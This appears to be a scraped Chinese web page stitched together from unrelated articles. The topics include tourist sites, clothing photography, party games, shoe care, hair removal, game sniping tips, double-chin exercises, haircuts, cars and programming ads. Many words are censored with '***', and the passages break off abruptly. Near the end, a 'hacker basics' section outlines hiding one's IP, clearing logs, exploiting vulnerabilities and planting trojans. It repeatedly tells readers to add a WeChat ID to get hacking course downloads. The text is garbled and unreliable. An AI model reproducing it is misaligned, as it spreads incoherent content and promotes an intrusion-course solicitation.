　　厦门鼓浪屿素有“海上花园”、“万国建筑博物馆”和“钢琴之岛”之美誉，2017年获准列入世界文化遗产名录。历史上很多事件都出在这个地方。在第41届世界遗产大会上，中国申遗项目——“鼓浪屿国际历史社区”通过了世界遗产大会的终审，成功列入世界文化遗产名录，成为中国第52项世界遗产项目。厦门市鼓浪屿风景名胜区位于福建省厦门岛西南隅，与厦门市隔海相望。原名圆沙洲、圆洲仔，因海西南有海蚀洞受浪潮冲击，声如擂鼓，明朝雅化为今名。由于历史原因，中外风格各异的建筑物在此地被完好地汇集、保留，不仅有“万国建筑博览”之称。钢琴拥有密度居全国之冠，又得美名“钢琴之岛”、“音乐之乡”。

　　TOP5、张家界武陵源风景名胜区（ 世界遗产 世界地质 5A景区 风景名胜 ）

　　武陵源风景名胜区位于中国中部湖南省西北部，由张家界市的张家界国家森林公园、慈利县的索溪峪自然保护区和桑植县的天子山自然保护区组合而成，后又发现了杨家界新景区，总面积500平方公里。武陵源风景名胜区森林覆盖率达67%。 生长有野生动物400多种、木本植物850多种，有一级保护动物豹、云豹、黄腹角雉3种，二级保护动物大鲵、猕猴、穿山甲等25种。有国家一级保护植物珙桐、伯乐树、南方红豆杉等5种，二级保护植物白豆杉、杜仲、厚朴等16种 。1992年被列入《世界自然遗产》 。2004年被列为国家首批《世界地质公园》、2007年被授予首批国家AAAAA级旅游景区。

　　TOP6、浙江省嘉兴市西塘古镇旅游景区（ 5A景区 ）

　　西塘古镇属浙江省嘉兴市嘉善县，地处江浙沪三省市交界处，地理位置优越。交通便捷，东距上海90公里，西距杭州110公里，北距苏州85公里。西塘被国家文物局列入中国世界文化遗产预备名单，亦是中国首批历史文化名镇，国家AAAAA级旅游景区，获世界遗产保护杰出成就奖。西塘历史悠久，是古代吴越文化的发祥地之一。2012年，被国家文物局列入更新的《中国世界文化遗产预备名单》2017年2月25日，新晋为国家5A级旅游景区。

　　TOP7、三亚热带海滨风景名胜区

　　三亚海滨风景区位于海南省三亚市，总面积约212平方公里，由海棠湾、亚龙湾度假区、大东海度假区、天涯海角游览区、落笔洞旅游区、大小洞天旅游区等景区组成。1994年被定为国家重点风景名胜区。海棠湾其实只是“半湾”，地处三亚市海棠镇与陵水黎族自治县英州镇交界处，因为行政区划的原因，本来一个完整的海湾一分为二，属于三亚境内的一半取名海棠湾，属于陵水境内的那一半海湾名称为土福湾。

　　拍摄服装时，最重要的就是要表现服装的颜色，质地和款式。想要拍摄出效果不错的服装照片，还需要去多角度地对服装进行摆放，这样才能够将服装全面的展现出来。

　　在拍摄服装的时候,可以把服装放在背最上进行多角度的拍摄,也可以利用模特，来对服装进行动态立体的展示，让观者能够更好地了解服装在人身上的实际效果。要根据服装的色调进行搭配和构图，同时利用人物的动作对服装的款式、特点进行展示和体现。

　　在拍摄服装时，还可以通过不同的摆放状态来表现服装的特点和款式，除了拍摄服装整体的款式外，还可以拍摄服装的局部来表现其质地、细节的设计和服装的品牌以及号码等等。在拍摄时，要全方面地对服装进行拍摄，才能够将其完整的细节以及款式呈现给观者。

　　在拍摄平铺的上衣或者裤子时，我们同样也会感到平铺略显平庸，此时我们可以利用一些物体在服装内部进行部分的填充，这样可以很好地提高服装的立体感，但注愈注意不要填充得过于臃肿。

　　如果拍摄模特穿着的服装，要确保服装自然合体，摄影师可以选择把模特的脸部纳入画面，也可以只把镜头聚焦在服装上，这取决于摄影师自己的想法。拍摄时，可以准备几根针，用来调整服装的状态，让它着上去更完美。

　　利用支架

　　将服装用衣架撑起，挂起来进行拍摄，展现了服装的立体形态和特点。

　　局部细节展示

　　对服装进行局部的细节拍摄，展现了服装纽扣精巧的设计和服装的质地，完整地展现了服装的细节特征。

　　年会创意节目大全，年会游戏大汇集

　　年会游戏

　　年会节目：互动游戏节目.

　　1、合力吹汽球

　　目的：沟通配合能力，借着分工合作来完成任务

　　人数：每组限六人

　　场地：不限

　　道具：主持人准备每组各六张签，上写：嘴巴；手（二张）； *** ；脚（二张）

　　汽球（每组一个）

　　适合：全部的人

　　游戏 *** ：

　　1. 分两组，但每组必须要有六人。

　　2. 主持人请每组每人抽签。

　　3. 首先，抽到嘴巴的必须借着抽到手的两人帮助来把汽球给吹起（抽到嘴巴的人不能用手自已吹起汽球）；然后二个抽到脚的人抬起抽到 *** 的人去把汽球给坐破

　　2、拍七令

　　用具：无

　　人数：无限制

　　 *** ：多人参加，从1-99报数，但有人数到含有"7"的数字或"7"的倍数时，不许报数，要拍下一个人的后脑勺，下一个人继续报数。如果有人报错数或拍错人则罚酒。

　　兴奋点：没有人会不出错，虽然是很简单的算术。

　　缺点：无

　　3、开火车

　　用具：无

　　人数：两人以上，多多益善

　　 *** ：在开始之前，每个人说出一个地名，代表自己。但是地点不能重复。游戏开始后，假设你来自北京，而另一个人来自上海，你就要说："开呀开呀开火车，北京的火车就要开。"大家一起问："往哪开？"你说："上海开"。那代表上海的那个人就要马上反应接着说："上海的火车就要开。"然后大家一起问："往哪开？"再由这个人选择另外的游戏对象，说："往某某地方开。"如果对方稍有迟疑，没有反应过来就输了。

　　兴奋点：可以增进人与人的感情，而且可以利用让他或她"开火车"的机会传情达意、眉目传情。

　　缺点：无

　　4、踩汽球

　　目的：活跃气氛，增进协调性和协作能力。

　　要求：人数为十名，男女各半，一男一女组成一组，共五组。

　　步骤：当场选出十名员工，男女各半，一男一女搭配，左右脚捆绑三至四个汽球，在活动开始后，互相踩对方的汽球，并保持自已的汽球不破，或破得最少，则胜出。

　　5、数钞票

　　1、　所需道具：121张1毛的崭新钞票（总数只能主持人知道，可适当加减） 2、　规则： 1)由参加人员用最快的方式数钞票，在克服干扰的情况下，正确说出总数，则胜出，给予礼品奖励（也可直接将钞票发给最快数完数对的人，甚至可以换大额钞票）； 2）在开始数钞票时，主持人开始问问题，如：你在哪家公司上班？你是男的女的？你的上司是男的对吗？等等

　　6、抢凳子,比如10个人,放9张凳子,然后叫停的时候大家落座,谁没抢到就输,然后再撤出一张,余下的人再抢.

　　7、写几个最近流行的电视广告，让人抽签来演.

　　8、比赛唱歌，或者说成语，然后卡住的人会被人处罚，比如可以往脸上抹点粉之类的。

　　8、奶瓶里装上啤酒，让会喝酒的男士上来比赛看谁喝得快……

　　9、买一堆杂七杂八的零食让每桌派代表去猜出它的总价,猜中者的奖品就是那一堆零食

　　针对在游戏中输的人的一些惩罚措施：

　　１、我爱你

　　输的人，面对大树或墙壁、大声地喊三声："我爱你！"

　　２、天旋地转

　　输的人，就地闭眼睛，左转五圈，右转五圈，再睁开眼睛，走回自己的座位。

　　３、模仿秀

　　输的人，模仿一位自己熟悉的明星、歌星或动物的动作、歌声或说话方式。

　　４、我是淑女

　　赢的人将3-5本书放至输的人的头顶，并请他（她）学模特走台步旋转一圈后走回来。如果书掉了，就得重来。

　　５、神射手

　　在输的人身上挂数个气球，让赢的人离他3米远，用牙签射向气球，至气球全部破掉为止。

　　６、苦笑不得

　　输的人先大笑5秒之后，忽然又大哭5秒钟，反复2-3次。

　　７、 *** 写字

　　输的人要用 *** 写出赢的人的名字，要大家都能接受才可以停止。

　　企业团体游戏——千瑟文化提供

　　1、捆绑过关——(适用：团队协作)

　　简述：藉着被绑在一起来完成数件任务人数：不限场地：不限道具：绳子或其他可以绑的东西适合全部的人

　　游戏 *** ： 1. 分组，不限几组，但每组更好二人以上。 2. 每一组组员围成一个圈圈，面对对方。老师帮忙把每个人的手臂与隔壁的人绑在一起。 3. 绑好以后，现在每一组的组员都是绑在一起的，老师想些任务要每组去完成。题目例子：吃午餐；包礼物；完成个美术作品；帮每个组员倒水等。

　　2、合力吹气球

　　简述：藉着分工合作来完成任务人数：每组限六人场地：不限道具：准备每组各六张签，上写：嘴巴；手（二张）；脚（二张）汽球（每组一个）适合全部的人游戏 *** ： 1. 分组，不限几组，但每组必须要有六人。 2. 老师请每组每人抽签。 3. 首先，抽到嘴巴的必须藉着抽到手的两人帮助来把汽球给吹起（抽到嘴巴的人不能用手自已吹起汽球）；然后二个抽到脚的人抬起抽到气球的人去把汽球给坐破。

　　3、记忆考验

　　简述：随着越来越多要记的东西，试试自已可不可以

　　人数：不限场地：不限适合范围：刚认识或不认识的人

　　游戏 *** ：1. 全部人围成一圈，从之一个人开始说"今天我吃了一个ＡＡ"（ＡＡ为随意食物名！）2. 接着第二个接着说，吃了一个ＡＡ，二个ＢＢ…（ＢＢ不同的食物名！）3. 像这样一直传下去，每传一个人就必须重覆前面的食物名，另加一个新的食物名。4. 一直到有人中途讲错出局！题目例子：可选一些较难的食物名或菜名！或一些平常不容易吃到的！例：滑蛋干贝牛肉汤。

　　4、比一比

　　简述：藉着组员的动作，来猜题目是什么

　　人数：不限

　　场地：不限

　　适用范围：适合刚认识或不认识的人游戏 *** ：1. 分组，不限几组，但每组更好五人以上。2. 轮留每组派出一个人出来，老师给他看题目。他只能以动作来告知组员题目。3. 视题目的难度来计时。看那组的得分高低来算输赢。

　　5、比长短

　　简述：每队派出一人比不同的单位

　　人数：不限

　　场地：不限

　　适用范围：适合刚认识或不认识的人

　　游戏 *** ：1. 分组，不限人数，至少要二组。每组五人以上。2.老师宣布要比的小组，然后每组派出一位他们认为会赢此小组的人。3. 等被派出的人都出来后，老师再说比什么。4. 计算每次比完的输赢即可。题目例子：这个游戏的题目就是要想越不会被大家猜中的越有趣！比长：比手臂；比上衣；比头发…比短：比手指头；比裤子或裙子…比高：比声调；比手抬起来的高度…比大：比眼睛；比手掌…比多：比身上饰物；比穿的衣服；比身上的扣子…题目必须在看到被派出的人之前想好！

　　年会游戏（千瑟文化）

　　晚会互动游戏节目.

　　

　　翻毛皮鞋的清洗除尘 *** ：

　　1、除灰可用吸尘器。

　　2、先用鞋撑撑起。（塑料的鞋撑可随鞋形变化）

　　3、用专用刷清洗。注意铜丝面主要处理污染较大的部位和被抛光的地方。先用橡皮面朝一个方位刷，边缝用侧刷。污染处着重打圈揉然后铜丝揉。

　　4、用潮湿的抹布擦一遍，把鞋面弄湿。目的是主要处理融水成分。

　　5、将清洁剂喷在表面。用刷子来回刷使鞋子表面的污渍都去除，脏泡沫用潮海绵阴干。

　　翻毛皮鞋的晾晒 *** ：

　　1、晾三十分钟，等皮毛稍微干燥，还有些潮时用橡皮面朝同方向刷，使毛均匀散开。

　　2、皮鞋晾干后用橡胶顺着毛擦一遍，让颜色趋于相同。

　　3、最后放干燥剂进行保存。生胶刷定义：为正面镶有生胶胶条，专用于皮鞋清洁，可把表面的浮灰给去除。刷侧上面钢丝条，专用于鞋侧缝隙清洁，可将鞋侧缝深处灰泥去除。（注意：铜丝条不可用于皮鞋表面，否则会绒毛）

　　翻毛皮鞋的保养 *** ：

　　1、使用 *** ：沿着皮毛走向将浮灰清洁，没有就用那种带三种刷头的鞋刷。

　　2、翻毛着色剂作用：可加强及加深皮鞋表面光泽。 使用 *** ：先用生胶刷除去表面，用前先摇晃一些，距离皮面十公分均匀喷洒可。（使用前先用不料或报纸将鞋内笼填充）这些护理用品在专门的皮鞋店出卖，到超市买增光剂或者叫清新剂也可以。

　　3、一般解决 *** ：顺皮毛走向方向，用鬃毛刷干净刷鞋面上灰尘。皮面都是以浮灰为多，若是不慎沾上泥巴，可及时用生胶刷或毛刷清除，等泥巴彻底干后用刷子再次清除。

　　女生对于毛发的烦恼，有时候是胜于中年大叔的。

　　精致女孩除了希望头顶头发多多，还会同时希望：有些地方的毛发，别太茂密。

　　比如女生的「小胡子」。

　　

　　如果你有小胡子的话，早餐喝完牛奶，千万记得「及时擦嘴」。

　　因为「牛奶胡子」远看很可爱，但近看就很容易出卖你的唇部绒毛。

　　纯白的牛奶，恰好成了黑色唇部小绒毛的背景板，着实尴尬。

　　不管是哪个女孩子，都想要一张光洁的脸蛋，人见人爱。平时长一颗痘痘都无法忍受，何况是「一嘴毛」了。

　　头上毛发浓密，没有小胡子，没有腿毛，全身光洁无毛，几乎成为当代女性的普遍审美。那么，历史上的女性，是否有毛发的困扰，有脱毛的习惯呢？

　　

　　人类除毛的历史

　　远比你想象的要久

　　追忆人类最早的脱毛 *** ，在「古埃及」时代就已经出现。埃及人的脱毛可是很拼的，他们不止脱掉体毛，甚至连头发也要全部脱掉，平时都是用发套。

　　究其原因，是因为在埃及人的认知里，身体有毛=野蛮人。

　　于是「脱毛」在那个时代，便成了一种「文明、进化」的象征。他们想尽了办法，例如用贝壳制成的镊子、浮石来拔毛，或是用蜂蜜做成的蜜蜡来脱毛。

　　

　　发展到古罗马时期，「脱毛」在欧洲十分盛行，毛发越少代表着越高地位，甚至还代表着一个人的阶级。

　　你仔细回想一下，我们美术课本上那些中世纪美女，是不是大多全身光洁无毛的？

　　

　　到 20 世纪，随着「无袖裙」「比基尼」的出现，女性脱毛有了更多的理由。

　　秀出光洁大腿、腋下无毛，绝无小胡子成了席卷全球的一种时尚。

　　当然在这背后，难逃脱毛时的痛楚。

　　

　　女性脱毛历史悠久

　　 *** 竟然也几乎不变？

　　 机械脱毛法：你从远古走来

　　人类最早期的脱毛 *** ，就是机械脱毛法。在中国古代，就有「绞脸」一说，姑娘在成为美丽新娘前，得经历这样一个模式：

　　「用一根细丝在面部来回拉扯，细丝中间用嘴巴咬住，从而将面部的汗毛捻去。」

　　如此这般，才能出嫁。是不是很残忍？

　　时至今日，类似的 *** 还在流传。喏，想必你试过用小镊子，来拔除多余的眉毛，以及开篇我们提到的小胡子吧。

　　诚然机械脱毛法成本很低，但效率同样较低。有时甚至需要一根一根的拔除，拔毛的操作一般不破坏毛囊，这意味着机械脱毛后不久，毛发很快就会再生。

　　毛毛拔不尽，春风吹又生……

　　

　　 物理脱毛法：蜜蜡脱毛，痛并快乐着

　　「蜜蜡」作为脱毛神器，早在古埃及时代就出现过。

　　如今，「美容蜡条」作为入门级脱毛产品，依旧大行其道，一个痛并快乐着的过程。

　　物理脱毛法一般能维持 2～6 周的效果。它会一定程度破坏毛囊，容易引发皮肤 *** 或炎症反应。

　　 化学脱毛法

　　化学脱毛法主要指的是「脱毛膏」，这是近代才出现的产品。

　　虽然国家对脱毛类产品有着相对完备的安全措施，但市场上脱毛膏的销售隐患不小，夸大功效的情况比比皆是。

　　在脱毛膏的选择中，大家要格外注意，那些宣称安全性好、任何部位都好用、敏感肌肤适用的，要多加留心，因为国家法规明确规定这类产品是不能宣传功效的。

　　初次使用脱毛产品，必须先在局部少量试用，确认无过敏反应无副作用后再扩大使用范围。使用后需要清洁和保湿。

　　当然，以上三种 *** ，都不能天长地久，脱毛的「保质期」都有限。

　　哪种脱毛 *** 维持时间最持久？

　　相比而言，「激光脱毛」能够维持的时间的确是最久的。

　　从理论上讲，激光或强脉冲光可以直接损毁毛球，也就是毛囊的根部，颜色越深的毛发激光脱毛效果越好，几乎永久脱毛。

　　脱毛的效果确切说，并不是说「永久一根毛都不长」，而是经过定时维护，脱毛面积的 80%～90% 都不会再生长毛发或者毛发很细小。

　　因为脱毛效果、持续时间跟很多因素有关，包括个体差异、使用次数、使用时间和能量强度等。另外激光脱毛也可能出现脱毛区的红斑和水肿，术后曝光部位一定注意防晒，否者术区可能出现色素沉着哦。

　　去医院做激光脱毛，效果是脱毛方式中比较理想的，但是价格上也会相对比较高，一般在一万左右。

　　如果你嫌麻烦又觉得贵，又想要达到长效脱毛的效果，也可以试试「家用脱毛仪」。

　　在游戏中，大家会看到一些非常厉害的狙击大神，今天大厨哥就说说狙击入门技巧，分享一些老鸡贼的狙击技巧。当然了，最后一段才是我想说的真实技巧，其他内容大家就当扯猫比呢。

　　一毫秒开枪并击杀敌人的速度将敌人迅速秒杀是狙击类大神最受广大狙击爱好者青睐的寻找手感的杀敌方式,就是大家说的瞬狙。是狙击中最较为困难的一种需要经过不断的配合以及熔炼才能完全的熟练的狙击技巧，瞬狙需要意识，被机枪近身后很多时候能保命哦。

　　【选择枪械】

　　玩射击类游戏，首先我们需要选择一把适合自己的枪。狙击枪有AWM、巴雷特、M200、98K等，有些枪是要GP购买的，有些是活动送的，也有些是CF点购买。我们可以选择一把自己喜欢的枪。个人比较喜欢巴雷特，穿透力强，一枪毙命，缺点是比较笨重。如果是狙击新手的话，不建议用巴雷特，用AWM就好。

　　【常见技术类型】

　　(以运输船为例，当然其他图也能利用起来)

　　卡点：卡点狙，基本上适合每一种模式(挑战除外)，卡点狙就是卡住一个点位，等敌人漏出来的一瞬间开枪，将其击杀。在团队竞技中很容易碰见卡点狙。我们在卡住点位的同时，也要学会利用周围的掩体进行掩护。

　　移动：移动的话，就是闪身，利用身法左右移动，让敌人猜不出你会在那边出来。下图中，我们可以在左侧木箱处出现，也可以在右侧木箱跳出去，要学会揣摩敌人的心理。移动的话，要学会经常换点，不要在一个点位卡死，要灵活运用各个点位，和卡点狙正好相反。

　　冲锋：冲锋狙，一般就是高手的操作，就是拿着狙击前压，前压的同时也要学会利用掩体和副武器、近身武器的配合。

　　高点：高点的话，还要学会身法和跳箱子。俗话说：站的高，看的远。居高临下的打法，在手游中还是很占优势的。当然我们在运输船的高点也能防守管道，或者在管道中去对面偷菊花，打乱对方的节奏。

　　【切换武器】

　　用狙击枪的话，要学会快点切枪。用巴雷特的时候，迅速切枪，可以提升下次进攻的速度。切换的话，可以选择切换COP和近身武器。建议大家在普通战中用COP，都说COP是狙击手的主武器，可以看出COP的重要性。当然了，你的COP至少也要是一梭子十发以上，只要COP用的好，狙击其实开不开枪无所谓。当然如果你玩狙击战就只能选择用近身武器，像

　　尼泊尔

　　铁锹

　　小刀

　　

　　双下巴是因为吃太多肉吗？

　　双下巴，也就是「颏下脂肪」，下巴额外的脂肪组织沉积而成。一般来说，过于肥胖的人都有双下巴，但正常体重的人也有可能出现双下巴，这是为什么呢？

　　其实，有可能是多种因素导致了双下巴，肥胖只是其中一个原因。

　　1、皮肤松弛了

　　之所以下巴脂肪沉积，有可能是因为随着年纪变大，皮肤弹性开始下降，下巴的肌肉变得松弛，使得下巴皮肤下垂，脂肪就掉下去累积起来……渐渐就出现了双下巴。

　　并不是说要人到中年皮肤才开始失去弹性，事实上20多岁的时候，皮肤就开始变差了……

　　2、来自你家的遗传

　　就像每个人的脸型不一样，双下巴也可能是天生的结果。有数据显示，双下巴在家族中比较常见，这表明可能有遗传因素在作怪。

　　但研究也显示，这种遗传基因并没有什么危害，并不会带来潜在疾病等。

　　这大概就是年轻人、瘦子、帅哥、美女也会出现双下巴的原因之一了。没关系，居老师的双下巴那是萌，帅就不用解释了……

　　3、不良的姿势

　　比如说脖子前倾，颈椎前引，脂肪也跟着向前，慢慢堆积在下巴……看一下明星杨幂，也是这样的情况，双下巴很明显~~

　　颈部姿势不对，下巴肌肉也受到影响。下巴肌肉一旦没了，皮肤松弛，就只剩下由脂肪构成的……双下巴了。

　　

　　4、饮食和体重

　　单纯由于肥胖导致双下巴的情况，其实是比较少的。要非常胖，才会直接生出双下巴。不过，脂肪、热量过多的不健康饮食，确实也会影响到双下巴。

　　大概就是吃太多，不运动，脂肪代谢不完，太重了……就沉到下巴那里了~~

　　如何减去双下巴呢？

　　一些人会去做吸脂手术，或者采用注酸溶解下巴脂肪的化学治疗 *** 。这些 *** 都会有效果，但都只能去除脂肪，没办法恢复皮肤弹性，而且会有肿胀、瘀伤或疼痛的副作用。最重要的就是，比较贵！

　　那有什么简单的 *** ，可以慢慢消除双下巴呢？

　　由上文可见，双下巴的直接成因是面部、下巴肌肉、皮肤松弛，引起脂肪堆积，那就要对症下药，锻炼一下面部、颈部的肌肉。

　　来看小九提供一些每日小运动，做小运动前记得转一下脖子来预热一下~~

　　1、对着天花板吹口哨

　　坐直，肩膀放松，头往后仰，看着天花板，嘴巴闭紧，跟吹口哨一样，可以感觉到颈部两侧的收缩，但嘴唇可以放松。

　　保持这个姿势10~20秒，可反复练习10组。

　　

　　2、亲吻天空

　　跟前一个小运动类似，不过这回是站立，头往后倾斜，望向天空，皱起嘴巴。让嘴巴附近的肌肉，尽可能从面部向外拉伸。这个动作做得好，可以让下巴和颈部感到紧致而放松。

　　保持5~20秒，一次可重复10~15次。

　　3、用下巴挤球

　　有一张比较高的桌子，放上易于挤压的球。坐直，把球放在下巴下面，稳定住球，然后向下挤压球。根据个人舒适度，可重复10~30次。

　　4、噘嘴

　　这就是最简单也比较有效的 *** 了。随时随地可以练习，试着用颈部、下巴的肌肉力量去噘嘴，而背部保持不动。一次保持3秒，重复10~20次，以锻炼颈部。

　　5、伸出舌头

　　尽可能张嘴，尽可能地将舌头伸远一点，你会感觉到颈部、下巴肌肉收紧。这可以锻炼下巴、颈部、面部的肌肉。伸个10秒，重复10次。

　　除了可以做小运动来锻炼下巴周围肌肉，饮食方面也可以注意：多喝水或吃富含水分的水果，饮食均衡、健康，维持体重，减减肥，还是可以帮助去除双下巴的。

　　天男生该剪什么发型你知道吗？对于男生来说，发型就是自己的第二张脸，好看的发型能够给自己的颜值提升好几倍。很多男生在夏天，都会寻思着换一款合适的发型，让自己变得更加自信和帅气，但是却往往很难找到自己想要的造型。其实，男生的发型虽然不多，但是也有很多造型可以选择的，只是你不想去剪罢了。那么，男生们夏天剪什么发型才帅气呢？

　　很多男生剪头发都是随便来的，只是抱着试一试的态度，剪得好看自然很开心，剪得不好看就只能认命了。所以，我们在剪头发之前一定要选好发型。下面这7款发型，男生偶尔剪一下也很帅气的，在夏日里剪剪看吧。

　　男生的发型，更好是不要超过耳朵，否则就会特别闷热累赘。不喜欢把额头露出来的男生，可以剪一款这样的短盖头发型，把两边的头发铲得干干净净，然后再把中间的头发往前梳，然后自然垂下，刘海可以剪碎打薄，这样就会更加清爽减龄了。

　　男生的头发，最重要的是干净利落，这款侧分背头发型就特别适合夏天来剪。两边打造成渐变的效果，然后再把头发往侧后方梳去，并且用发蜡打理定型。整个造型特别利落率性，剪起来也是十分的时尚帅气，特别值得去剪。

　　男生的发型，有时候越短越有个性，特别是比较喜欢运动的男生，短款头发能够让自己运动起来更加清爽自如。我们可以试试上面这款短油头发型，虽然是油头的造型，但是整体头发的长度是非常短的，而且还保留了一小撮刘海在额头前面，看起来特别时髦帅气，充满个人魅力。

　　年轻的小哥哥们最喜欢的发型之一，还是有刘海的短发，我们看到很多短视频里的小哥哥，都剪这种发型，足以证明韩式中分发型的流行程度。这款发型的两边不用剃光，但是也要保证头发长度不超过耳朵。顶区的头发从中间分开，而两边的刘海打造出C弯的效果，看起来就特别像帅气的韩国欧巴。

　　短发是男生不可缺少的发型，而短发也是可以有不同的造型，比如上面的这款短中分发型，就特别简单帅气，没有一般中分发型那么长的长度，反而更加干净利落了。

　　如果不连接wifi的话，电脑每次开机后都是需要连接宽带来上网的。有一些用户在电脑开机后连接宽带发现宽带连接的速度非常的慢，需要等待较长的时间，不知道要怎么改变这一情况，电脑开机后宽带连接慢有什么解决 *** 吗答案当然是有的，下面就跟着小编一起来看看具体的操作步骤吧。

　　1、打开360安全卫士，点击右下角的“人工服务”。

　　2、在“人工服务”窗口的搜索框中输入问题“开机后连接 *** 慢”，然后点击“查找方案”。

　　3、在搜索结果中，找到并选择符合问题的解决方案。

　　4、点击“立即修复”。

　　5、等待修复完成后，点击立即重启电脑即可。

　　以上就是电脑开机后宽带连接慢的解决 *** ，希望对大家有所帮助

　　很多人之一次买车的时候完全不知道自己需要什么车，而是跟风买车，比如说同学说哪款车好，那就买哪款车。或者是这款车卖得好等等，根本不考虑自己合不合适。今天小编给大家推荐一下经济实惠还洋气的四款车，大家可以参考一下。

　　之一款：大众朗逸

　　这款车的售价在10-16万之间，是专门为了我们国人打造的一款A级车，虽然说外观不是很潮流洋气，但是性能包括内饰方面来说，这款车还是很不错的，大众品牌的车之一牌子硬，第二质量真的没的说。外观中规中矩，适合家用，空间比较大，不管是外出旅行还是日常家用都是完全足够的，而且目前还有优惠幅度，具体要看当地的经销商政策。

　　第二款：丰田卡罗拉

　　这款车从一上市就特别吸引年轻人，外观时尚洋气，它的售价为11-16万之间，也是比较畅销的一款车型，但是它没有大众朗逸优惠幅度大，这个相对来说会比较贵一些，但是也是一款性价比高的车子，不管是配置还是内饰、空间等，都没有明显让人诟病的地方。丰田车一直被人们称为开不坏的，也侧面反映出这个品牌的实力。

　　第三款：上汽荣威i5

　　这款车对比上面两款的话，相对会便宜一些，八九万块钱就有中配的感觉，内饰豪华，功能配置高级，基本别人有的它都有，甚至10多万车型没有的功能也全都有。这款车的销量也是非常不错的，基本每个月都是破万的，买的人多，自然它的口碑也不错，动力也比较勇猛，适合年轻人开的一款车。售价为6-11万之间。

　　第四款车：新宝骏RC-5

　　这款车售价为6-11万之间，这款车不管是外观上还是动力上无疑是最适合年轻人的，特别是它的外观设计，相当的吸引人，总之给我的感觉是炫酷，而它的内饰也是相当的豪华，给人一眼的感觉不像是几万块的车子，像是十多万的车子，有人说它不管是后排空间还是后备箱空间都有A+级别的水平，而且这款车也有购买优惠，具体可以去当地的经销商那里问问，毕竟每个地区都不一样。

　　这四款车是小编个人觉得比较适合年轻人开的车子，如果之一次买车不知道买哪款，可以参考看看。

　　视频教程 *** 的

　　怎么获取地址

　　加微信 i77169,回复，"基础菜鸟快速入门 *** 课程"

　　注意大小写，注意要写全，就会给你回复地址

　　无论那类，他们最初的学习内容都将是本部分所涉及的内容，而且掌握的基本技能也都是一样的。即便日后他们各自走上了不同的道路，但是所做的事情也差不多，只不过出发点和目的不一样而已。

　　很多人曾经问我：“做平时都做什么是不是非常 *** ”也有人对黑客的理解是“天天做无聊且重复的事情”。实际上这些又是一个错误的认识，黑客平时需要用大量的时间学习，我不知道这个过程有没有终点，只知道“多多益善”。由于学习黑客完全出于个人爱好，所以无所谓“无聊”;重复是不可避免的，因为“熟能生巧”，只有经过不断的联系、实践，才可能自己体会出一些只可意会、不可言传的心得。

　　在学习之余，黑客应该将自己所掌握的知识应用到实际当中，无论是哪种黑客做出来的事情，根本目的无非是在实际中掌握自己所学习的内容。

　　黑客的行为主要有以下几种：

　　一、学习技术：

　　互联网上的新技术一旦出现，黑客就必须立刻学习，并用最短的时间掌握这项技术，这里所说的掌握并不是一般的了解，而是阅读有关的“协议”(rfc)、深入了解此技术的机理，否则一旦停止学习，那么依靠他以前掌握的内容，并不能维持他的“黑客身份”超过一年。

　　初级黑客要学习的知识是比较困难的，因为他们没有基础，所以学习起来要接触非常多的基本内容，然而今天的互联网给读者带来了很多的信息，这就需要初级学习者进行选择：太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多，应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。

　　二、伪装自己：

　　黑客的一举一动都会被服务器记录下来，所以黑客必须伪装自己使得对方无法辨别其真实身份，这需要有熟练的技巧，用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。

　　伪装是需要非常过硬的基本功才能实现的，这对于初学者来说成的上“大成境界”了，也就是说初学者不可能用短时间学会伪装，所以我并不鼓励初学者利用自己学习的知识对 *** 进行，否则一旦自己的行迹败露，最终害的害是自己。

　　如果有朝一日你成为了真正的黑客，我也同样不赞成你对 *** 进行，毕竟黑客的成长是一种学习，而不是一种犯罪。

　　三、发现：

　　对黑客来说是最重要的信息，黑客要经常学习别人发现的，并努力自己寻找未知漏洞，并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验，当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。

　　黑客对寻找漏洞的执著是常人难以想象的，他们的口号说“打破权威”，从一次又一次的黑客实践中，黑客也用自己的实际行动向世人印证了这一点——世界上没有“不存在漏洞”的程序。在黑客眼中，所谓的“天衣无缝”不过是“没有找到”而已。

　　四、利用漏洞：

　　对于正派黑客来说，漏洞要被修补;对于邪派黑客来说，漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”，黑客利用漏洞可以做下面的事情：

　　1、获得系统信息：有些漏洞可以泄漏系统信息，暴露敏感资料，从而进一步系统;

　　2、系统：通过漏洞进入系统内部，或取得服务器上的内部资料、或完全掌管服务器;

　　3、寻找下一个目标：一个胜利意味着下一个目标的出现，黑客应该充分利用自己已经掌管的服务器作为工具，寻找并入侵下一个系统;

　　4、做一些好事：正派黑客在完成上面的工作后，就会修复漏洞或者通知系统管理员，做出一些维护的事情;

　　5、做一些坏事：邪派黑客在完成上面的工作后，会判断服务器是否还有利用价值。如果有利用价值，他们会在服务器上植入木马或者，便于下一次来访;而对没有利用价值的服务器他们决不留情，系统崩溃会让他们感到无限的 *** !

　　视频教程 *** 的

　　怎么获取下载地址

　　加微信 i77169,回复，"黑客基础菜鸟快速入门 *** 课程"

　　注意大小写，注意要写全，就会给你回复下载地址。

　　原文地址:

　　视频教程 *** 的

　　怎么获取地址

　　加微信 i77169,回复，"易语言写程序培训 *** 教程"

　　注意大小写，注意要写全，就会给你回复地址。

　　易语言降低了广大电脑用户编程的门槛，尤其是根本不懂英文或者英文了解很少的用户，可以通过使用本语言极其快速地进入Windows程序编写的大门。易语言汉语编程环境是一个支持基于汉语字、词编程的、全可视化的、跨主流操作系统平台的编程工具环境;拥有简、繁汉语以及英语、日语等多语种版本;能与常用的编程语言互相调用;具有充分利用API，COM、DLL、OCX组件，各种主流库，各种实用程序等多种资源的接口和支撑工具。易语言有自主开发的高质量编译器，中文源代码被直接编译为CPU指令，运行效率高，安全可信性高;拥有自己的库系统，且支持访问现有所有数据库;内置专用输入法，支持中文语句快速录入，完全解决了中文输入慢的问题;易语言除了支持界面设计的可视化，还支持程序流程的即时可视化;除了语句的中文化之外，易语言中还专门提供了适合中国国情的命令，如中文格式日期和时间处理、汉字发音处理、全半角字符处理、人民币金额的处理等;易语言综合采用了结构化、面向对象、组件、构架、集成化等多种先进技术，并在运行效率、性能价格比、全可视化支持、适应本地化需要、面向对象以及提供Windows，Linux上的运行平台等具有特色;现有各种支持库多达40多个，用户可以使用她来满足几乎所有的Windows编程需求，多媒体功能支持强大，完善的 *** 